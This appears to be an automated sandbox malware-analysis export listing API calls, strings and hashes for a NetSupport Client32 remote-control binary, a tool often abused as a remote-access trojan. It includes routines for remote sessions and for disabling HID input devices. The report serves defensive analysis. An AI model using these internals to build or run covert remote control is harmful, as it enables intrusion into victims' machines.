GetProcAddress.KERNEL32(11074E10,ctl_nsessions), ref: 11063364
GetProcAddress.KERNEL32(11074E10,ctl_connected), ref: 1106338A
GetProcAddress.KERNEL32(11074E10,ctl_send), ref: 110633B0
GetProcAddress.KERNEL32(11074E10,ctl_sendex), ref: 110633D6
GetProcAddress.KERNEL32(11074E10,ctl_sendif), ref: 110633EB
GetProcAddress.KERNEL32(11074E10,ctl_sendto), ref: 11063411
GetProcAddress.KERNEL32(11074E10,ctl_subset), ref: 1106341C
GetProcAddress.KERNEL32(11074E10,ctl_helpreq), ref: 11063468
GetProcAddress.KERNEL32(11074E10,ctl_maxpacket), ref: 1106348E
GetProcAddress.KERNEL32(11074E10,ctl_openremote), ref: 110634B4
GetProcAddress.KERNEL32(11074E10,ctl_closeremote), ref: 110634DA
GetProcAddress.KERNEL32(11074E10,ctl_callremote), ref: 11063500
GetProcAddress.KERNEL32(11074E10,ctl_pause), ref: 11063442

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

GetProcAddress.KERNEL32(11074E10,ctl_findslaves), ref: 110632CC

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

GetProcAddress.KERNEL32(11074E10,ctl_myaddr), ref: 11063526
GetProcAddress.KERNEL32(11074E10,ctl_loadbridge), ref: 11063531
GetProcAddress.KERNEL32(11074E10,ctl_getfailedreason), ref: 1106353C
GetProcAddress.KERNEL32(11074E10,ctl_escape), ref: 11063547
GetProcAddress.KERNEL32(11074E10,ctl_publishservice), ref: 11063552
GetProcAddress.KERNEL32(11074E10,ctl_publishserviceex), ref: 1106355D
GetProcAddress.KERNEL32(11074E10,ctl_findslavesex), ref: 1106356B
GetProcAddress.KERNEL32(11074E10,ctl_broadcastdata), ref: 11063576
GetProcAddress.KERNEL32(11074E10,ctl_sendname), ref: 11063584
GetProcAddress.KERNEL32(11074E10,ctl_getlocalipaddressinuse), ref: 11063592
GetProcAddress.KERNEL32(11074E10,ctl_clientpinrequest), ref: 110635A0
GetProcAddress.KERNEL32(11074E10,ctl_controlsendpin), ref: 110635AE
GetProcAddress.KERNEL32(11074E10,ctl_controlpinrequest), ref: 110635BC
GetProcAddress.KERNEL32(11074E10,ctl_clearpin), ref: 110635CA
GetProcAddress.KERNEL32(11074E10,ctl_getcodepage), ref: 110635D8
GetProcAddress.KERNEL32(11074E10,ctl_getconnectivityinfo), ref: 110635E6

Strings

ctl_networks, xrefs: 1106322E, 11063247
ctl_publishservice, xrefs: 11063549
ctl_findslaves, xrefs: 110632C6, 110632DF
ctl_getcodepage, xrefs: 110635CC
ctl_hangup, xrefs: 11063338, 11063351
ctl_publishserviceex, xrefs: 11063554
ctl_installed, xrefs: 11063196, 110631AF
ctl_loadbridge, xrefs: 11063528
ctl_myaddr, xrefs: 11063520
ctl_helpreq, xrefs: 11063462, 1106347B
ctl_remotename, xrefs: 110631E2, 110631FB
ctl_closeremote, xrefs: 110634D4, 110634ED
ctl_netname, xrefs: 110631BC, 110631D5
ctl_nsessions, xrefs: 1106335E, 11063377
ctl_sendname, xrefs: 11063578
ctl_getfailedreason, xrefs: 11063533
ctl_controlsendpin, xrefs: 110635A2
ctl_version, xrefs: 1106316F, 11063189
ctl_maxpacket, xrefs: 11063488, 110634A1
ctl_callremote, xrefs: 110634FA, 11063513
ctl_subset, xrefs: 11063413, 1106342F
ctl_escape, xrefs: 1106353E
ctl_getlocalipaddressinuse, xrefs: 11063586
ctl_sendex, xrefs: 110633D0
ctl_findslavesex, xrefs: 1106355F
..\ctl32\Connect.cpp, xrefs: 11063184, 110631AA, 110631D0, 110631F6, 1106321C, 11063242, 11063268, 1106328E, 110632B4, 110632DA, 11063300, 11063326, 1106334C, 11063372, 11063398, 110633BE, 110633F9, 1106342A, 11063450, 11063476, 1106349C, 110634C2, 110634E8, 1106350E
ctl_open, xrefs: 1106327A, 11063293
ctl_sendto, xrefs: 1106340B
ctl_openremote, xrefs: 110634AE, 110634C7
ctl_sendif, xrefs: 110633E5, 110633FE
ctl_pingnet, xrefs: 11063254, 1106326D
ctl_connected, xrefs: 11063384, 1106339D
ctl_pause, xrefs: 1106343C, 11063455
ctl_clearpin, xrefs: 110635BE
ctl_getconnectivityinfo, xrefs: 110635DA
ctl_controlpinrequest, xrefs: 110635B0
ctl_send, xrefs: 110633AA, 110633C3
ctl_clientpinrequest, xrefs: 11063594
ctl_call, xrefs: 11063312, 1106332B
ctl_getsession, xrefs: 110632EC, 11063305
ctl_broadcastdata, xrefs: 1106356D
ctl_close, xrefs: 110632A0, 110632B9
ctl_bridgename, xrefs: 11063208, 11063221

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$ExitProcess$ErrorLastMessage_strrchrwsprintf
String ID: ..\ctl32\Connect.cpp$ctl_bridgename$ctl_broadcastdata$ctl_call$ctl_callremote$ctl_clearpin$ctl_clientpinrequest$ctl_close$ctl_closeremote$ctl_connected$ctl_controlpinrequest$ctl_controlsendpin$ctl_escape$ctl_findslaves$ctl_findslavesex$ctl_getcodepage$ctl_getconnectivityinfo$ctl_getfailedreason$ctl_getlocalipaddressinuse$ctl_getsession$ctl_hangup$ctl_helpreq$ctl_installed$ctl_loadbridge$ctl_maxpacket$ctl_myaddr$ctl_netname$ctl_networks$ctl_nsessions$ctl_open$ctl_openremote$ctl_pause$ctl_pingnet$ctl_publishservice$ctl_publishserviceex$ctl_remotename$ctl_send$ctl_sendex$ctl_sendif$ctl_sendname$ctl_sendto$ctl_subset$ctl_version
API String ID: 1096595926-1306570422
Opcode ID: cf51ba996edafb05b73b1d2fbab5a16ed4be44cc98c1f2e0f0545e03da82bd1f
Instruction ID: 5f24de0e2360826035fa82522da9b4a10218173402b610a7b1cd1951dc97c3b7
Opcode Fuzzy Hash: cf51ba996edafb05b73b1d2fbab5a16ed4be44cc98c1f2e0f0545e03da82bd1f
Instruction Fuzzy Hash: 96A15DBCF447927AD312AFB76C91FABFEE86F615D8B81042AF449E5901FA60F000C556

Function 11005360 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 214windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DE40: __itow.LIBCMT ref: 1105DE65

GetObjectA.GDI32(?,0000003C,?), ref: 11005435

Part of subcall function 1110F4A0: _malloc.LIBCMT ref: 1110F4A9
Part of subcall function 1110F4A0: _memset.LIBCMT ref: 1110F4D2

wsprintfA.USER32 ref: 1100548D
DeleteObject.GDI32(?), ref: 110054E2
DeleteObject.GDI32(?), ref: 110054EB
SelectObject.GDI32(?,?), ref: 11005502
DeleteObject.GDI32(?), ref: 11005508
DeleteDC.GDI32(?), ref: 1100550E
SelectObject.GDI32(?,?), ref: 1100551F
DeleteObject.GDI32(?), ref: 11005528
DeleteDC.GDI32(?), ref: 1100552E
DeleteObject.GDI32(?), ref: 1100553F
DeleteObject.GDI32(?), ref: 1100556A
DeleteObject.GDI32(?), ref: 11005588
DeleteObject.GDI32(?), ref: 11005591
ShowWindow.USER32(?,00000009), ref: 110055BF
PostQuitMessage.USER32(00000000), ref: 110055C7

Strings

PenWidth, xrefs: 110053DD
Tool, xrefs: 11005383
PenColour, xrefs: 110053A1
PenStyle, xrefs: 110053BF
Annotate, xrefs: 11005388, 110053A6, 110053C4, 110053E2, 11005400, 1100541E, 110054A4
Font, xrefs: 1100549F
FillStyle, xrefs: 11005419
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 11005487
FillColour, xrefs: 110053FB

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Object$Delete$Select$MessagePostQuitShowWindow__itow_malloc_memsetwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$FillColour$FillStyle$Font$PenColour$PenStyle$PenWidth$Tool
API String ID: 2789700732-770455996
Opcode ID: d5666059194125e5e798e1ea1a571cdf665601eefd1acf21ad263d58b3d84359
Instruction ID: d9229358f4933b228272336fa2bf33a0883a331572b372d30b0232039735f129
Opcode Fuzzy Hash: d5666059194125e5e798e1ea1a571cdf665601eefd1acf21ad263d58b3d84359
Instruction Fuzzy Hash: 5C816975A00609AFD728DBB5C990EABF7F9BF8C304F00451DE6A697680DA75F801CB60

Function 11015290 Relevance: 43.7, APIs: 29, Instructions: 170COMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 110152BF
GetWindowRect.USER32(?,?), ref: 110152D7
_memset.LIBCMT ref: 110152E5
CreateFontIndirectA.GDI32(?), ref: 11015301
SelectObject.GDI32(00000000,00000000), ref: 11015315
SetBkMode.GDI32(00000000,00000001), ref: 11015320
BeginPath.GDI32(00000000), ref: 1101532D
TextOutA.GDI32(00000000,00000000,00000000), ref: 11015350
EndPath.GDI32(00000000), ref: 11015357
PathToRegion.GDI32(00000000), ref: 1101535E
CreateSolidBrush.GDI32(?), ref: 11015370
CreateSolidBrush.GDI32(?), ref: 11015386
CreatePen.GDI32(00000000,00000002,?), ref: 110153A0
SelectObject.GDI32(00000000,00000000), ref: 110153AE
SelectObject.GDI32(00000000,?), ref: 110153BE
GetRgnBox.GDI32(00000000,?), ref: 110153CB
OffsetRgn.GDI32(00000000,?,00000000), ref: 110153EA
FillRgn.GDI32(00000000,00000000,?), ref: 110153F9
FrameRgn.GDI32(00000000,00000000,?,00000002,00000002), ref: 1101540C
DeleteObject.GDI32(00000000), ref: 11015419
SelectObject.GDI32(00000000,?), ref: 11015423
SelectObject.GDI32(00000000,?), ref: 1101542D
DeleteObject.GDI32(?), ref: 11015436
DeleteObject.GDI32(?), ref: 1101543F
DeleteObject.GDI32(?), ref: 11015448
SelectObject.GDI32(00000000,?), ref: 11015452
DeleteObject.GDI32(?), ref: 1101545B
SetBkMode.GDI32(00000000,?), ref: 11015465
EndPaint.USER32(?,?), ref: 11015479

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Object$Select$Delete$Create$Path$BeginBrushModePaintSolid$FillFontFrameIndirectOffsetRectRegionTextWindow_memset
String ID:
API String ID: 3702029449-0
Opcode ID: 24b8a3e860cad455b09ae9666a62e4d5b44d953a1c6f38d3d180a12544eed90e
Instruction ID: 652d7b9cefe541cc9f67407d7bb7a055c5a4b94d45e30f14e3a138b487ffb704
Opcode Fuzzy Hash: 24b8a3e860cad455b09ae9666a62e4d5b44d953a1c6f38d3d180a12544eed90e
Instruction Fuzzy Hash: 0D511875A10228AFDB14DBA4CC88FAEF7B9EF89304F004199E519D7244DB74AE44CF61

Function 110FF3C0 Relevance: 42.2, APIs: 8, Strings: 16, Instructions: 207synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

Part of subcall function 110ED1F0: RegCreateKeyExA.ADVAPI32(00000000,0002001F,00000000,00000000,80000001,?,1105E76C,?,00000000,?,00000000,75BF8400,?,?,1105E76C,80000001), ref: 110ED21B

GetTickCount.KERNEL32 ref: 110FF4DB
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 110FF4E8
CloseHandle.KERNEL32(00000000), ref: 110FF4F5
GetTickCount.KERNEL32 ref: 110FF4FB
wsprintfA.USER32 ref: 110FF5BE
_memset.LIBCMT ref: 110FF5CF

Strings

DisableHidDevices(%d), xrefs: 110FF429
Trace, xrefs: 110FF51E
Error %d opening key, xrefs: 110FF46B
D, xrefs: 110FF601
DisabledHID, xrefs: 110FF47F, 110FF660, 110FF66C
%s HID*, xrefs: 110FF626
Error creating process %s, xrefs: 110FF679
"%s" %s %s HID*, xrefs: 110FF5B8
DisableHIDCode, xrefs: 110FF3FB
nsdevcon.exe, xrefs: 110FF566, 110FF56D, 110FF593
Client, xrefs: 110FF400
_debug, xrefs: 110FF523, 110FF545
Waited %d ms for last devcon, xrefs: 110FF507
Software\NetSupport Ltd\Client32, xrefs: 110FF44A
nsdevcon64.exe, xrefs: 110FF55F, 110FF678
TraceFile, xrefs: 110FF540

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$CloseCreateHandleObjectSingleWait__wcstoi64_memsetwsprintf
String ID: "%s" %s %s HID*$%s HID*$Client$D$DisableHIDCode$DisableHidDevices(%d)$DisabledHID$Error %d opening key$Error creating process %s$Software\NetSupport Ltd\Client32$Trace$TraceFile$Waited %d ms for last devcon$_debug$nsdevcon.exe$nsdevcon64.exe
API String ID: 137837830-2801557662
Opcode ID: 6bf3ca8b1897a9fb597f7e1bcf8d3474db02404c230f644f8e4e51502cd176c1
Instruction ID: a11abc6b97969388e485db2e6a8e88b8a5e3b39e7edf5af597a12920a36432c8
Opcode Fuzzy Hash: 6bf3ca8b1897a9fb597f7e1bcf8d3474db02404c230f644f8e4e51502cd176c1
Instruction Fuzzy Hash: 9471EC75E4421ABBEB10DBA1DC89FEEF774EB08708F10419DED14A6181EB306944CBA6

Function 110EB120 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 141windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

wsprintfA.USER32 ref: 110EB1B8
GetTickCount.KERNEL32 ref: 110EB212
SendMessageA.USER32(?,0000004A,?,?), ref: 110EB226
GetTickCount.KERNEL32 ref: 110EB22E
SendMessageTimeoutA.USER32(?,0000004A,?,?,00000000,?,?), ref: 110EB276
OpenEventA.KERNEL32(00000002,00000000,runplugin.dmp.1,?,00000001), ref: 110EB2A8
SetEvent.KERNEL32(00000000,?,00000001), ref: 110EB2B5
CloseHandle.KERNEL32(00000000,?,00000001), ref: 110EB2BC

Strings

_debug, xrefs: 110EB14D
TracePlugins, xrefs: 110EB140
%s, xrefs: 110EB1E3
Warning: SendMessage to Runplugin took %d ms (possibly unresponsive), xrefs: 110EB23A
INIT, xrefs: 110EB15C
DATA, xrefs: 110EB166
Error. Runplugin is unresponsive, xrefs: 110EB2C2
runplugin %s (hWnd=%x,u=%d,64=%d) , xrefs: 110EB1B2
runplugin.dmp.1, xrefs: 110EB29F

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountEventMessageSendTick$CloseHandleOpenTimeout__wcstoi64wsprintf
String ID: %s$DATA$Error. Runplugin is unresponsive$INIT$TracePlugins$Warning: SendMessage to Runplugin took %d ms (possibly unresponsive)$_debug$runplugin %s (hWnd=%x,u=%d,64=%d) $runplugin.dmp.1
API String ID: 3451743168-2289091950
Opcode ID: 7081efb8229b45fa1a91f50154a3e59ac40d63dc77862fc88f6c1544d8f2fef1
Instruction ID: f1114c107ee76d929ad16cd328bd8b6b93bc0bc6479e919ac6bcab8c7865c9c3
Opcode Fuzzy Hash: 7081efb8229b45fa1a91f50154a3e59ac40d63dc77862fc88f6c1544d8f2fef1
Instruction Fuzzy Hash: D441A675A012199FD724DFA5DC44FAEF7B8EF48319F0085AEE91AA7240D631A940CFB1

Function 111352B0 Relevance: 28.3, APIs: 11, Strings: 5, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

_memset.LIBCMT ref: 11135335
LoadIconA.USER32(00000000,00000455), ref: 11135403
_strncpy.LIBCMT ref: 11135425
Shell_NotifyIconA.SHELL32(00000000,000001E8,?,?,?,?,?,?,?,00000001,00000000,73B292A0,00000000,1102E392,00000001), ref: 11135436
LoadIconA.USER32(00000000,0000045C), ref: 11135456
GetWindowTextA.USER32(0002044E,?,00000180), ref: 11135478
wsprintfA.USER32 ref: 111354F4

Part of subcall function 110D07C0: _free.LIBCMT ref: 110D07ED

wsprintfA.USER32 ref: 1113552C
wsprintfA.USER32 ref: 1113558D
wsprintfA.USER32 ref: 111355E8
Shell_NotifyIconA.SHELL32(1102D57D,000001E8,00000001,00000000,73B292A0,00000000,1102E392,00000001), ref: 11135623

Strings

Client, xrefs: 111352FE
%s%s, xrefs: 11135526, 11135587, 111355E2
SysTray, xrefs: 111352F9
%s, xrefs: 111354EE
632922, xrefs: 11135519

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Iconwsprintf$LoadNotifyShell_$TextWindow__wcstoi64_free_memset_strncpy
String ID: %s$%s%s$632922$Client$SysTray
API String ID: 1881589080-1664057928
Opcode ID: 52564186abc49f02ff9e416bc12bc90c7bb85710abbf43999a324a306af1717a
Instruction ID: 2c8920b03c090074b43ba546e334978a2e83067bba728106ef80608c6d9e13b6
Opcode Fuzzy Hash: 52564186abc49f02ff9e416bc12bc90c7bb85710abbf43999a324a306af1717a
Instruction Fuzzy Hash: EAA15CB1D042159FDB62CF74CC50BAEF7B9BB44719F4045ACE829A7284EB71AA44CF50

Function 11131250 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 241COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 111312FD

Strings

DecompressPNGToBitmap, xrefs: 111314F1
Client, xrefs: 111312C4, 111313DF
%s%s, xrefs: 111312F7
ImageFileUser, xrefs: 111313DA
ImageFile, xrefs: 111312BF
PCIImage.dll, xrefs: 111314D7
DecompressJPEGToBitmap, xrefs: 1113150F

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s$Client$DecompressJPEGToBitmap$DecompressPNGToBitmap$ImageFile$ImageFileUser$PCIImage.dll
API String ID: 2111968516-1286714176
Opcode ID: 16156c97f269215458a29c73816be307994206807deff759477be4abbe46c0e1
Instruction ID: cfced163e91c544f1d9a441fe05b752d20d9a2d0abefb67461bd630bfcd17819
Opcode Fuzzy Hash: 16156c97f269215458a29c73816be307994206807deff759477be4abbe46c0e1
Instruction Fuzzy Hash: 0C911975A50319AFEB11DFA4CD84FDAF3B4BF88725F1041A8E519A7284EB30AA40CF51

Function 1100B310 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 190fileCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

_malloc.LIBCMT ref: 1100B366

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

Part of subcall function 1100AC40: EnterCriticalSection.KERNEL32(000000FF,73B292A0,?,00000000,00000000), ref: 1100AC84
Part of subcall function 1100AC40: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1100ACA2
Part of subcall function 1100AC40: GetProcAddress.KERNEL32(?,CancelIo), ref: 1100ACEE
Part of subcall function 1100AC40: InterlockedExchange.KERNEL32(?,000000FF), ref: 1100AD35
Part of subcall function 1100AC40: CloseHandle.KERNEL32(00000000), ref: 1100AD3C
Part of subcall function 1100AC40: _free.LIBCMT ref: 1100AD53
Part of subcall function 1100AC40: FreeLibrary.KERNEL32(?), ref: 1100AD6B
Part of subcall function 1100AC40: LeaveCriticalSection.KERNEL32(?), ref: 1100AD75

EnterCriticalSection.KERNEL32(1100CA5A,Audio,DisableSounds,00000000,00000000,73B292A0,?,1100CA4A,00000000,?,1100CA4A,?), ref: 1100B39B
CreateFileA.KERNEL32(\\.\NSAudioFilter,C0000000,00000000,00000000,00000003,40000000,00000000,?,1100CA4A,?), ref: 1100B3B8
_calloc.LIBCMT ref: 1100B3E9
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,1100CA4A,?), ref: 1100B40F
LeaveCriticalSection.KERNEL32(1100CA5A,?,1100CA4A,?), ref: 1100B449
LeaveCriticalSection.KERNEL32(1100CA4A,?,?,1100CA4A,?), ref: 1100B46E

Strings

Vista AddAudioCapEvtListener(%p), xrefs: 1100B4F3
